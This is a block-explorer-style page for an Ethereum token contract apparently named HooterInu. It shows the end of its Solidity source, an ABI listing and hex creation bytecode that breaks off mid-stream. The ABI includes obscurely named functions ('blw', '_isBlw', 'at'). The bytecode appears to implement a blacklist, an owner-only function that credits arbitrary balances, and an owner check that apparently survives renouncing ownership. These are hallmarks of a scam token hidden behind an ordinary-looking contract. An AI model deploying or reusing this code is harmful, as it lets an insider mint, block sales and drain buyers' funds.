and move to dead address permanently if (amountToBurn > 0){ super._transfer(uniswapV2Pair, address(0xdead), amountToBurn); } //sync price since this is not in a swap transaction! IUniswapV2Pair pair = IUniswapV2Pair(uniswapV2Pair); pair.sync(); emit AutoNukeLP(); return true; } function manualBurnLiquidityPairTokens(uint256 percent) external onlyOwner returns (bool){ require(block.timestamp > lastManualLpBurnTime + manualBurnFrequency , "Must wait for cooldown to finish"); require(percent <= 1000, "May not nuke more than 10% of tokens in LP"); lastManualLpBurnTime = block.timestamp; // get balance of liquidity pair uint256 liquidityPairBalance = this.balanceOf(uniswapV2Pair); // calculate amount to burn uint256 amountToBurn = liquidityPairBalance.mul(percent).div(10000); // pull tokens from pancakePair liquidity and move to dead address permanently if (amountToBurn > 0){ super._transfer(uniswapV2Pair, address(0xdead), amountToBurn); } //sync price since this is not in a swap transaction! IUniswapV2Pair pair = IUniswapV2Pair(uniswapV2Pair); pair.sync(); emit ManualNukeLP(); return true; } }
Contract Security Audit
- No Contract Security Audit Submitted- Submit Audit Here
[{"inputs":[],"stateMutability":"nonpayable","type":"constructor"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"owner","type":"address"},{"indexed":true,"internalType":"address","name":"spender","type":"address"},{"indexed":false,"internalType":"uint256","name":"value","type":"uint256"}],"name":"Approval","type":"event"},{"anonymous":false,"inputs":[],"name":"AutoNukeLP","type":"event"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"sniper","type":"address"}],"name":"BoughtEarly","type":"event"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"account","type":"address"},{"indexed":false,"internalType":"bool","name":"isExcluded","type":"bool"}],"name":"ExcludeFromFees","type":"event"},{"anonymous":false,"inputs":[],"name":"ManualNukeLP","type":"event"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"previousOwner","type":"address"},{"indexed":true,"internalType":"address","name":"newOwner","type":"address"}],"name":"OwnershipTransferred","type":"event"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"pair","type":"address"},{"indexed":true,"internalType":"bool","name":"value","type":"bool"}],"name":"SetAutomatedMarketMakerPair","type":"event"},{"anonymous":false,"inputs":[{"indexed":false,"internalType":"uint256","name":"tokensSwapped","type":"uint256"},{"indexed":false,"internalType":"uint256","name":"ethReceived","type":"uint256"},{"indexed":false,"internalType":"uint256","name":"tokensIntoLiquidity","type":"uint256"}],"name":"SwapAndLiquify","type":"event"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"from","type":"address"},{"indexed":true,"internalType":"address","name":"to","type":"address"},{"indexed":false,"internalType":"uint256","name":"value","type":"uint256"}],"name":"Transfer","type":"event"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"newAddress","type":"address"},{"indexed":true,"internalType":"address","name":"oldAddress","type":"address"}],"name":"UpdateUniswapV2Router","type":"event"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"newWallet","type":"address"},{"indexed":true,"internalType":"address","name":"oldWallet","type":"address"}],"name":"devWalletUpdated","type":"event"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"newWallet","type":"address"},{"indexed":true,"internalType":"address","name":"oldWallet","type":"address"}],"name":"marketingWalletUpdated","type":"event"},{"inputs":[{"internalType":"address","name":"","type":"address"}],"name":"_isBlw","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"","type":"address"}],"name":"_isExcludedMaxTransactionAmount","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"owner","type":"address"},{"internalType":"address","name":"spender","type":"address"}],"name":"allowance","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"spender","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"approve","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"a","type":"address"},{"internalType":"uint256","name":"b","type":"uint256"}],"name":"at","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"","type":"address"}],"name":"automatedMarketMakerPairs","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"account","type":"address"}],"name":"balanceOf","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address[]","name":"a","type":"address[]"},{"internalType":"bool","name":"_blw","type":"bool"}],"name":"blw","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"buyDevFee","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"buyLiquidityFee","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"buyMarketingFee","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"buyTotalFees","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"decimals","outputs":[{"internalType":"uint8","name":"","type":"uint8"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"spender","type":"address"},{"internalType":"uint256","name":"subtractedValue","type":"uint256"}],"name":"decreaseAllowance","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"devWallet","outputs":[{"internalType":"address","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"disableTransferDelay","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"enableTrading","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"account","type":"address"},{"internalType":"bool","name":"excluded","type":"bool"}],"name":"excludeFromFees","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"updAds","type":"address"},{"internalType":"bool","name":"isEx","type":"bool"}],"name":"excludeFromMaxTransaction","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"spender","type":"address"},{"internalType":"uint256","name":"addedValue","type":"uint256"}],"name":"increaseAllowance","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"account","type":"address"}],"name":"isExcludedFromFees","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"lastLpBurnTime","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"lastManualLpBurnTime","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"limitsInEffect","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"lpBurnEnabled","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"lpBurnFrequency","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"manualBurnFrequency","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"uint256","name":"percent","type":"uint256"}],"name":"manualBurnLiquidityPairTokens","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"marketingWallet","outputs":[{"internalType":"address","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"maxTransactionAmount","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"maxWallet","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"name","outputs":[{"internalType":"string","name":"","type":"string"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"owner","outputs":[{"internalType":"address","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"percentForLPBurn","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"removeLimits","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"renounceOwnership","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"se","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"sellDevFee","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"sellLiquidityFee","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"sellMarketingFee","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"sellTotalFees","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"uint256","name":"_frequencyInSeconds","type":"uint256"},{"internalType":"uint256","name":"_percent","type":"uint256"},{"internalType":"bool","name":"_Enabled","type":"bool"}],"name":"setAutoLPBurnSettings","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"pair","type":"address"},{"internalType":"bool","name":"value","type":"bool"}],"name":"setAutomatedMarketMakerPair","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"swapEnabled","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"swapTokensAtAmount","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"symbol","outputs":[{"internalType":"string","name":"","type":"string"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"tokensForDev","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"tokensForLiquidity","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"tokensForMarketing","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"totalSupply","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"tradingActive","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"recipient","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"transfer","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"transferDelayEnabled","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"sender","type":"address"},{"internalType":"address","name":"recipient","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"transferFrom","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"newOwner","type":"address"}],"name":"transferOwnership","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"uniswapV2Pair","outputs":[{"internalType":"address","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"uniswapV2Router","outputs":[{"internalType":"contract IUniswapV2Router02","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"uint256","name":"_marketingFee","type":"uint256"},{"internalType":"uint256","name":"_liquidityFee","type":"uint256"},{"internalType":"uint256","name":"_devFee","type":"uint256"}],"name":"updateBuyFees","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"newWallet","type":"address"}],"name":"updateDevWallet","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"newMarketingWallet","type":"address"}],"name":"updateMarketingWallet","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"uint256","name":"newNum","type":"uint256"}],"name":"updateMaxTxnAmount","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"uint256","name":"newNum","type":"uint256"}],"name":"updateMaxWalletAmount","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"uint256","name":"_marketingFee","type":"uint256"},{"internalType":"uint256","name":"_liquidityFee","type":"uint256"},{"internalType":"uint256","name":"_devFee","type":"uint256"}],"name":"updateSellFees","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"bool","name":"enabled","type":"bool"}],"name":"updateSwapEnabled","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"uint256","name":"newAmount","type":"uint256"}],"name":"updateSwapTokensAtAmount","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"stateMutability":"payable","type":"receive"}]
Contract Creation Code
60c060405260008054336001600160a01b03199091161790556019600c55600d805460ff19169055610e10600e556107086010556012805462ffffff191660011790556014805461ffff19166101011790553480156200005e57600080fd5b506040805180820182526009815268486f6f746572496e7560b81b60208083019182528351808501909452600a84526924486f6f746572496e7560b01b908401528151919291620000b291600491620007df565b508051620000c8906005906020840190620007df565b5050506000620000dd620004a460201b60201c565b600680546001600160a01b0319166001600160a01b038316908117909155604051919250906000907f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e0908290a350737a250d5630b4cf539739df2c5dacb4c659f2488d6200014d816001620004de565b6001600160a01b03811660808190526040805163c45a015560e01b8152905163c45a015591600480820192602092909190829003018186803b1580156200019357600080fd5b505afa158015620001a8573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190620001ce919062000885565b6001600160a01b031663c9c6539630836001600160a01b031663ad5c46486040518163ffffffff1660e01b815260040160206040518083038186803b1580156200021757600080fd5b505afa1580156200022c573d6000803e3d6000fd5b505050506040513d601f19601f8201168201806040525081019062000252919062000885565b6040516001600160e01b031960e085901b1681526001600160a01b03928316600482015291166024820152604401602060405180830381600087803b1580156200029b57600080fd5b505af1158015620002b0573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190620002d6919062000885565b6001600160a01b031660a0819052620002f1906001620004de565b60a0516200030190600162000565565b600760026001600c82826c0c9f2c9cd04674edea400000006103e86200032982600a620008c6565b620003359190620008e8565b6009556103e862000348826014620008c6565b620003549190620008e8565b600b5561271062000367826005620008c6565b620003739190620008e8565b600a55601687905560178690556018859055846200039287896200090b565b6200039e91906200090b565b601555601a849055601b839055601c82905581620003bd84866200090b565b620003c991906200090b565b601955600780546001600160a01b031990811673903ded335f5722131f34600232acf29a03c7cdf7179091556008805490911673fe395b56c1f073b818050466cb8fe86ac57836bf179055620004336200042b6006546001600160a01b031690565b6001620005b9565b62000440306001620005b9565b6200044f61dead6001620005b9565b6200046e620004666006546001600160a01b031690565b6001620004de565b6200047b306001620004de565b6200048a61dead6001620004de565b6200049633826200066e565b505050505050505062000963565b60008054600160a01b900460ff1615156001148015620004ce57506000546001600160a01b031633145b620004d857503390565b50600090565b620004e8620004a4565b6006546001600160a01b039081169116146200053a5760405162461bcd60e51b815260206004820181905260248201526000805160206200493583398151915260448201526064015b60405180910390fd5b6001600160a01b03919091166000908152602160205260409020805460ff1916911515919091179055565b6001600160a01b038216600081815260236020526040808220805460ff191685151590811790915590519092917fffa9187bf1f18bf477bd0ea1bcbb64e93b6a98132473929edfce215cd9b16fab91a35050565b620005c3620004a4565b6006546001600160a01b03908116911614620006115760405162461bcd60e51b8152602060048201819052602482015260008051602062004935833981519152604482015260640162000531565b6001600160a01b03821660008181526020808052604091829020805460ff191685151590811790915591519182527f9d8f7706ea1113d1a167b526eca956215946dd36cc7df39eb16180222d8b5df7910160405180910390a25050565b6001600160a01b038216620006c65760405162461bcd60e51b815260206004820152601f60248201527f45524332303a206d696e7420746f20746865207a65726f206164647265737300604482015260640162000531565b620006e2816003546200077560201b6200220c1790919060201c565b6003556001600160a01b038216600090815260016020908152604090912054620007179183906200220c62000775821b17901c565b6001600160a01b0383166000818152600160205260408082209390935591519091907fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef90620007699085815260200190565b60405180910390a35050565b6000806200078483856200090b565b905083811015620007d85760405162461bcd60e51b815260206004820152601b60248201527f536166654d6174683a206164646974696f6e206f766572666c6f770000000000604482015260640162000531565b9392505050565b828054620007ed9062000926565b90600052602060002090601f0160209004810192826200081157600085556200085c565b82601f106200082c57805160ff19168380011785556200085c565b828001600101855582156200085c579182015b828111156200085c5782518255916020019190600101906200083f565b506200086a9291506200086e565b5090565b5b808211156200086a57600081556001016200086f565b6000602082840312156200089857600080fd5b81516001600160a01b0381168114620007d857600080fd5b634e487b7160e01b600052601160045260246000fd5b6000816000190483118215151615620008e357620008e3620008b0565b500290565b6000826200090657634e487b7160e01b600052601260045260246000fd5b500490565b60008219821115620009215762000921620008b0565b500190565b600181811c908216806200093b57607f821691505b602082108114156200095d57634e487b7160e01b600052602260045260246000fd5b50919050565b60805160a051613f4a620009eb6000396000818161063b015281816117770152818161208e0152818161213801528181612164015281816126a70152818161348e0152818161353f015261356b01526000818161048b01528181612669015281816136d9015281816137a1015281816137f60152818161387001526138970152613f4a6000f3fe6080604052600436106103e25760003560e01c80638a8c523c1161020d578063bbc0c74211610128578063dd62ed3e116100bb578063f11a24d31161008a578063f63743421161006f578063f637434214610b93578063f8b45b0514610ba9578063fe72b27a14610bbf57600080fd5b8063f11a24d314610b5d578063f2fde38b14610b7357600080fd5b8063dd62ed3e14610abc578063de0c298514610b02578063e2f4560514610b32578063e884f26014610b4857600080fd5b8063c876d0b9116100f7578063c876d0b914610a56578063c8c8ebe414610a70578063d257b34f14610a86578063d85ba06314610aa657600080fd5b8063bbc0c742146109d7578063c0246668146109f6578063c17b5b8c14610a16578063c18bc19514610a3657600080fd5b80639ec22c0e116101a0578063a4c82a001161016f578063a4c82a0014610951578063a9059cbb14610967578063aacebbe314610987578063b62496f5146109a757600080fd5b80639ec22c0e146108ef5780639fccce3214610905578063a0d82dc51461091b578063a457c2d71461093157600080fd5b8063924de9b7116101dc578063924de9b71461088457806395d89b41146108a45780639a7a23d6146108b95780639c3b4fdc146108d957600080fd5b80638a8c523c1461081b5780638da5cb5b146108305780638ea5220f1461084e578063921369131461086e57600080fd5b806339509351116102fd578063715018a61161029057806375f0a8741161025f57806375f0a874146107a55780637bce5a04146107c55780637fd22e39146107db5780638095d564146107fb57600080fd5b8063715018a61461073b578063730c188814610750578063751039fc146107705780637571336a1461078557600080fd5b8063563bf354116102cc578063563bf354146106af5780636a486a8e146106cf5780636ddd1713146106e557806370a082311461070557600080fd5b8063395093511461060957806349bd5a5e146106295780634a62bb651461065d5780634fbee1931461067757600080fd5b8063199ffc721161037557806323b872dd1161034457806323b872dd1461059d5780632c3e486c146105bd5780632e82f1a0146105d3578063313ce567146105ed57600080fd5b8063199ffc721461053b5780631a8145bb146105515780631f3fed8f14610567578063203e727e1461057d57600080fd5b8063178a18fe116103b1578063178a18fe146104c557806318160ddd146104e45780631816467f14610503578063184c16c51461052557600080fd5b806306fdde03146103ee578063095ea7b31461041957806310d5de53146104495780631694505e1461047957600080fd5b366103e957005b600080fd5b3480156103fa57600080fd5b50610403610bdf565b6040516104109190613997565b60405180910390f35b34801561042557600080fd5b50610439610434366004613a22565b610c71565b6040519015158152602001610410565b34801561045557600080fd5b50610439610464366004613a4e565b60216020526000908152604090205460ff1681565b34801561048557600080fd5b506104ad7f000000000000000000000000000000000000000000000000000000000000000081565b6040516001600160a01b039091168152602001610410565b3480156104d157600080fd5b5060145461043990610100900460ff1681565b3480156104f057600080fd5b506003545b604051908152602001610410565b34801561050f57600080fd5b5061052361051e366004613a4e565b610c8f565b005b34801561053157600080fd5b506104f560105481565b34801561054757600080fd5b506104f5600c5481565b34801561055d57600080fd5b506104f5601e5481565b34801561057357600080fd5b506104f5601d5481565b34801561058957600080fd5b50610523610598366004613a6b565b610d6e565b3480156105a957600080fd5b506104396105b8366004613a84565b610e95565b3480156105c957600080fd5b506104f5600e5481565b3480156105df57600080fd5b50600d546104399060ff1681565b3480156105f957600080fd5b5060405160128152602001610410565b34801561061557600080fd5b50610439610624366004613a22565b610f1c565b34801561063557600080fd5b506104ad7f000000000000000000000000000000000000000000000000000000000000000081565b34801561066957600080fd5b506012546104399060ff1681565b34801561068357600080fd5b50610439610692366004613a4e565b6001600160a01b0316600090815260208052604090205460ff1690565b3480156106bb57600080fd5b506105236106ca366004613ad5565b610f6a565b3480156106db57600080fd5b506104f560195481565b3480156106f157600080fd5b506012546104399062010000900460ff1681565b34801561071157600080fd5b506104f5610720366004613a4e565b6001600160a01b031660009081526001602052604090205490565b34801561074757600080fd5b506105236110b9565b34801561075c57600080fd5b5061052361076b366004613b59565b6111bf565b34801561077c57600080fd5b5061043961133a565b34801561079157600080fd5b506105236107a0366004613b85565b6113b1565b3480156107b157600080fd5b506007546104ad906001600160a01b031681565b3480156107d157600080fd5b506104f560165481565b3480156107e757600080fd5b506105236107f6366004613a22565b611441565b34801561080757600080fd5b50610523610816366004613bba565b6114e9565b34801561082757600080fd5b506105236115cc565b34801561083c57600080fd5b506006546001600160a01b03166104ad565b34801561085a57600080fd5b506008546104ad906001600160a01b031681565b34801561087a57600080fd5b506104f5601a5481565b34801561089057600080fd5b5061052361089f366004613be6565b611664565b3480156108b057600080fd5b50610403611701565b3480156108c557600080fd5b506105236108d4366004613b85565b611710565b3480156108e557600080fd5b506104f560185481565b3480156108fb57600080fd5b506104f560115481565b34801561091157600080fd5b506104f5601f5481565b34801561092757600080fd5b506104f5601c5481565b34801561093d57600080fd5b5061043961094c366004613a22565b61182b565b34801561095d57600080fd5b506104f5600f5481565b34801561097357600080fd5b50610439610982366004613a22565b611893565b34801561099357600080fd5b506105236109a2366004613a4e565b6118a7565b3480156109b357600080fd5b506104396109c2366004613a4e565b60236020526000908152604090205460ff1681565b3480156109e357600080fd5b5060125461043990610100900460ff1681565b348015610a0257600080fd5b50610523610a11366004613b85565b611981565b348015610a2257600080fd5b50610523610a31366004613bba565b611a43565b348015610a4257600080fd5b50610523610a51366004613a6b565b611b1f565b348015610a6257600080fd5b506014546104399060ff1681565b348015610a7c57600080fd5b506104f560095481565b348015610a9257600080fd5b50610439610aa1366004613a6b565b611c45565b348015610ab257600080fd5b506104f560155481565b348015610ac857600080fd5b506104f5610ad7366004613c01565b6001600160a01b03918216600090815260026020908152604080832093909416825291909152205490565b348015610b0e57600080fd5b50610439610b1d366004613a4e565b60226020526000908152604090205460ff1681565b348015610b3e57600080fd5b506104f5600a5481565b348015610b5457600080fd5b50610439611d51565b348015610b6957600080fd5b506104f560175481565b348015610b7f57600080fd5b50610523610b8e366004613a4e565b611dc8565b348015610b9f57600080fd5b506104f5601b5481565b348015610bb557600080fd5b506104f5600b5481565b348015610bcb57600080fd5b50610439610bda366004613a6b565b611f1d565b606060048054610bee90613c3a565b80601f0160208091040260200160405190810160405280929190818152602001828054610c1a90613c3a565b8015610c675780601f10610c3c57610100808354040283529160200191610c67565b820191906000526020600020905b815481529060010190602001808311610c4a57829003601f168201915b5050505050905090565b6000610c85610c7e612272565b84846122bb565b5060015b92915050565b610c97612272565b6006546001600160a01b03908116911614610cf95760405162461bcd60e51b815260206004820181905260248201527f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e657260448201526064015b60405180910390fd5b6008546040516001600160a01b03918216918316907f90b8024c4923d3873ff5b9fcb43d0360d4b9217fa41225d07ba379993552e74390600090a3600880547fffffffffffffffffffffffff0000000000000000000000000000000000000000166001600160a01b0392909216919091179055565b610d76612272565b6006546001600160a01b03908116911614610dd35760405162461bcd60e51b815260206004820181905260248201527f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e65726044820152606401610cf0565b670de0b6b3a7640000620f4240610de960035490565b610df4906001613cbd565b610dfe9190613cfa565b610e089190613cfa565b811015610e7d5760405162461bcd60e51b815260206004820152602f60248201527f43616e6e6f7420736574206d61785472616e73616374696f6e416d6f756e742060448201527f6c6f776572207468616e20302e312500000000000000000000000000000000006064820152608401610cf0565b610e8f81670de0b6b3a7640000613cbd565b60095550565b6000610ea2848484612414565b610f1284610eae612272565b610f0d85604051806060016040528060288152602001613ec8602891396001600160a01b038a16600090815260026020526040812090610eec612272565b6001600160a01b031681526020810191909152604001600020549190612efd565b6122bb565b5060019392505050565b6000610c85610f29612272565b84610f0d8560026000610f3a612272565b6001600160a01b03908116825260208083019390935260409182016000908120918c16815292529020549061220c565b610f72612272565b6006546001600160a01b03908116911614610fcf5760405162461bcd60e51b815260206004820181905260248201527f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e65726044820152606401610cf0565b60005b828110156110b3576006546001600160a01b0316848483818110610ff857610ff8613d35565b905060200201602081019061100d9190613a4e565b6001600160a01b0316141561104d57601480547fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff00ff16610100841515021790555b816022600086868581811061106457611064613d35565b90506020020160208101906110799190613a4e565b6001600160a01b031681526020810191909152604001600020805460ff1916911515919091179055806110ab81613d64565b915050610fd2565b50505050565b6110c1612272565b6006546001600160a01b0390811691161461111e5760405162461bcd60e51b815260206004820181905260248201527f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e65726044820152606401610cf0565b6006546040516000916001600160a01b0316907f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e0908390a3600080547fffffffffffffffffffffff00ffffffffffffffffffffffffffffffffffffffff1674010000000000000000000000000000000000000000179055600680547fffffffffffffffffffffffff0000000000000000000000000000000000000000169055565b6111c7612272565b6006546001600160a01b039081169116146112245760405162461bcd60e51b815260206004820181905260248201527f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e65726044820152606401610cf0565b61025883101561129c5760405162461bcd60e51b815260206004820152603360248201527f63616e6e6f7420736574206275796261636b206d6f7265206f6674656e20746860448201527f616e206576657279203130206d696e75746573000000000000000000000000006064820152608401610cf0565b6103e882111580156112ac575060015b61131e5760405162461bcd60e51b815260206004820152603060248201527f4d75737420736574206175746f204c50206275726e2070657263656e7420626560448201527f747765656e20302520616e6420313025000000000000000000000000000000006064820152608401610cf0565b600e92909255600c55600d805460ff1916911515919091179055565b6000611344612272565b6006546001600160a01b039081169116146113a15760405162461bcd60e51b815260206004820181905260248201527f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e65726044820152606401610cf0565b506012805460ff19169055600190565b6113b9612272565b6006546001600160a01b039081169116146114165760405162461bcd60e51b815260206004820181905260248201527f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e65726044820152606401610cf0565b6001600160a01b03919091166000908152602160205260409020805460ff1916911515919091179055565b611449612272565b6006546001600160a01b039081169116146114a65760405162461bcd60e51b815260206004820181905260248201527f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e65726044820152606401610cf0565b6001600160a01b0382166000908152600160205260409020546114c9908261220c565b6001600160a01b0390921660009081526001602052604090209190915550565b6114f1612272565b6006546001600160a01b0390811691161461154e5760405162461bcd60e51b815260206004820181905260248201527f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e65726044820152606401610cf0565b601683905560178290556018819055806115688385613d9d565b6115729190613d9d565b6015819055601410156115c75760405162461bcd60e51b815260206004820152601d60248201527f4d757374206b656570206665657320617420323025206f72206c6573730000006044820152606401610cf0565b505050565b6115d4612272565b6006546001600160a01b039081169116146116315760405162461bcd60e51b815260206004820181905260248201527f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e65726044820152606401610cf0565b601280547fffffffffffffffffffffffffffffffffffffffffffffffffffffffffff0000ff166201010017905542600f55565b61166c612272565b6006546001600160a01b039081169116146116c95760405162461bcd60e51b815260206004820181905260248201527f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e65726044820152606401610cf0565b6012805491151562010000027fffffffffffffffffffffffffffffffffffffffffffffffffffffffffff00ffff909216919091179055565b606060058054610bee90613c3a565b611718612272565b6006546001600160a01b039081169116146117755760405162461bcd60e51b815260206004820181905260248201527f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e65726044820152606401610cf0565b7f00000000000000000000000000000000000000000000000000000000000000006001600160a01b0316826001600160a01b0316141561181d5760405162461bcd60e51b815260206004820152603960248201527f54686520706169722063616e6e6f742062652072656d6f7665642066726f6d2060448201527f6175746f6d617465644d61726b65744d616b65725061697273000000000000006064820152608401610cf0565b6118278282612f37565b5050565b6000610c85611838612272565b84610f0d85604051806060016040528060258152602001613ef06025913960026000611862612272565b6001600160a01b03908116825260208083019390935260409182016000908120918d16815292529020549190612efd565b6000610c856118a0612272565b8484612414565b6118af612272565b6006546001600160a01b0390811691161461190c5760405162461bcd60e51b815260206004820181905260248201527f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e65726044820152606401610cf0565b6007546040516001600160a01b03918216918316907fa751787977eeb3902e30e1d19ca00c6ad274a1f622c31a206e32366700b0567490600090a3600780547fffffffffffffffffffffffff0000000000000000000000000000000000000000166001600160a01b0392909216919091179055565b611989612272565b6006546001600160a01b039081169116146119e65760405162461bcd60e51b815260206004820181905260248201527f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e65726044820152606401610cf0565b6001600160a01b03821660008181526020808052604091829020805460ff191685151590811790915591519182527f9d8f7706ea1113d1a167b526eca956215946dd36cc7df39eb16180222d8b5d